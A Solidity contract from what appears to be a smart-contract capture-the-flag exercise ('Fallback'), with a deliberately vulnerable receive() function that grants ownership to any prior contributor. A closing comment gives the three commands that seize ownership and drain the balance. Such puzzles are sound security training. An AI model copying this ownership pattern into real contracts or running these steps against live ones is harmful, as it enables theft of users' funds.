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01Fallback.sol
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01Fallback.sol
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
/*
await contract.contribute.sendTransaction({value: toWei("0.000000000000000001")})
await contract.sendTransaction({value: toWei("0.000000000000000001")})
await contract.withdraw()
*/